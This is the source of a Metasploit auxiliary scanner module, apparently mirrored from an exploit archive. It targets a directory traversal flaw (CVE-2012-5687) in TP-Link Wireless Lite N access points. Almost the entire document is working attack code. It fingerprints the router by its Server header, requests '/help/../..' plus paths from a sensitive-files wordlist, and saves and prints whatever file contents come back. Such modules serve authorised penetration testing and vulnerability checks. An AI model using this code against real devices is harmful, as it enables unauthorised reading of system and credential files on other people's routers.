## https://sploitus.com/exploit?id=PACKETSTORM:181183
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'TP-Link Wireless Lite N Access Point Directory Traversal Vulnerability',
'Description' => %q{
This module tests whether a directory traversal vulnerability is present in
versions of TP-Link Access Point 3.12.16 Build 120228 Rel.37317n.
},
'References' =>
[
[ 'CVE', '2012-5687' ],
[ 'OSVDB', '86881' ],
[ 'BID', '57969' ],
[ 'EDB', '24504' ],
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-011' ]
],
'Author' => [ 'Michael Messner <devnull[at]s3cur1ty.de>' ],
'License' => MSF_LICENSE
)
register_options(
[
OptPath.new('SENSITIVE_FILES', [ true, "File containing sensitive files, one per line",
File.join(Msf::Config.data_directory, "wordlists", "sensitive_files.txt") ]),
])
end
def extract_words(wordfile)
return [] unless wordfile && File.readable?(wordfile)
begin
File.readlines(wordfile, chomp: true)
rescue ::StandardError => e
elog(e)
[]
end
end
def find_files(file)
traversal = '/../..'
res = send_request_cgi(
{
'method' => 'GET',
'uri' => '/help' << traversal << file,
})
return if res.nil?
return if (res.headers['Server'].nil? or res.headers['Server'] !~ /TP-LINK Router/)
return if (res.code == 404)
return if (res.code == 501)
if (res and res.code == 200 and res.body !~ /\<\/HTML/)
out = false
print_good("#{rhost}:#{rport} - Request may have succeeded on file #{file}")
report_web_vuln({
:host => rhost,
:port => rport,
:vhost => datastore['VHOST'],
:path => "/",
:pname => normalize_uri(traversal, file),
:risk => 3,
:proof => normalize_uri(traversal, file),
:name => self.fullname,
:category => "web",
:method => "GET"
})
loot = store_loot("tplink.traversal.data","text/plain",rhost, res.body,file)
vprint_good("#{rhost}:#{rport} - File #{file} downloaded to: #{loot}")
if datastore['VERBOSE']
vprint_good("#{rhost}:#{rport} - Response - File #{file}:")
res.body.each_line do |line|
# the following is the last line of the useless response
if line.to_s =~ /\/\/--><\/SCRIPT>/
# setting out = true to print all of the following stuff
out = true
next
end
if out == true
if line =~ /<META/ or line =~ /<Script/
# we are finished :)
# the next line is typical code from the website and nothing from us
# this means we can skip this stuff ...
out = false
next
else
#it is our output *h00ray*
#output our stuff ...
print_line("#{line}")
end
end
end
out = false
end
elsif res && res.code
vprint_error("#{rhost}:#{rport} - File->#{file} not found")
end
end
def run_host(ip)
begin
vprint_status("#{rhost}:#{rport} - Fingerprinting...")
res = send_request_cgi(
{
'method' => 'GET',
'uri' => '/',
})
return if (res.headers['Server'].nil? or res.headers['Server'] !~ /TP-LINK Router/)
rescue ::Rex::ConnectionError
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
return
end
extract_words(datastore['SENSITIVE_FILES']).each do |files|
find_files(files) unless files.empty?
end
end
end